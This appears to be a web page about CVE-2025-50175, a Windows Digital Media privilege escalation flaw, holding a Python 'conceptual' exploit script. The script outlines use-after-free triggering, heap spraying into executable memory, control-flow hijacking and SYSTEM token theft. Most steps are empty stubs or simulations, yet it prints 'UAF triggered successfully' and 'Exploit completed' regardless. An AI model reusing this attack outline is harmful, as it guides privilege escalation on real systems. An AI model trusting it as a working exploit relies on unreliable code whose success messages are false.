CVE-2025-50175：Windows Digital Media本地权限提升漏洞

# CVE-2025-50175 - Windows Digital Media Use After Free PoC (Conceptual) # This is a conceptual proof-of-concept for the UAF vulnerability in Windows Digital Media # The actual exploit would require precise knowledge of internal object structures and offsets import ctypes import struct import os import sys # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 class Exploit: def __init__(self): self.kernel32 = ctypes.windll.kernel32 self.ntdll = ctypes.windll.ntdll self.vulnerable_handle = None def trigger_uaf(self): """ Step 1: Trigger the Use After Free vulnerability in Windows Digital Media by sending a specially crafted media file or API call sequence. """ # Allocate a media object through Digital Media API # The vulnerable code path is triggered when processing specific media formats media_object = self.create_media_object() # Force the object to be freed prematurely self.force_release(media_object) # The dangling pointer is now accessible self.dangling_pointer = media_object return True def create_media_object(self): """ Create a Digital Media object that will be subject to UAF. In a real exploit, this would involve COM interface calls to Windows Media Foundation APIs. """ # Simulated object allocation # In reality: IMFMediaSession, IMFSourceResolver, etc. buffer = (ctypes.c_byte * 0x100)() return ctypes.addressof(buffer) def force_release(self, obj_ptr): """ Force release of the media object through error handling path. This simulates the condition where the object is freed while references still exist. """ # Trigger error condition that causes premature free # e.g., invalid media format, corrupted header, etc. pass def heap_spray(self): """ Step 2: Perform heap spray to place controlled data at the freed memory location. """ spray_data = b"\x41" * 0x100 # NOP sled + shellcode placeholder for i in range(1000): addr = self.kernel32.VirtualAlloc( 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) ctypes.memmove(addr, spray_data, len(spray_data)) def hijack_control_flow(self): """ Step 3: Use the dangling pointer to redirect execution to attacker-controlled shellcode. """ # Access through dangling pointer triggers code execution # with attacker-controlled data try: ctypes.cast(self.dangling_pointer, ctypes.CFUNCTYPE(None)) except: pass def elevate_privileges(self): """ Step 4: Execute privilege escalation to SYSTEM level. """ # Token stealing or direct privilege adjustment # This would typically involve stealing the SYSTEM token # from the winlogon process pass def run(self): """Main exploit execution flow.""" print("[*] CVE-2025-50175 Exploit - Windows Digital Media UAF") print("[*] Triggering Use After Free...") if self.trigger_uaf(): print("[+] UAF triggered successfully") print("[*] Performing heap spray...") self.heap_spray() print("[*] Hijacking control flow...") self.hijack_control_flow() print("[*] Elevating privileges...") self.elevate_privileges() print("[+] Exploit completed") else: print("[-] Failed to trigger vulnerability") if __name__ == "__main__": if os.name != 'nt': print("[-] This exploit requires Windows") sys.exit(1) exploit = Exploit() exploit.run()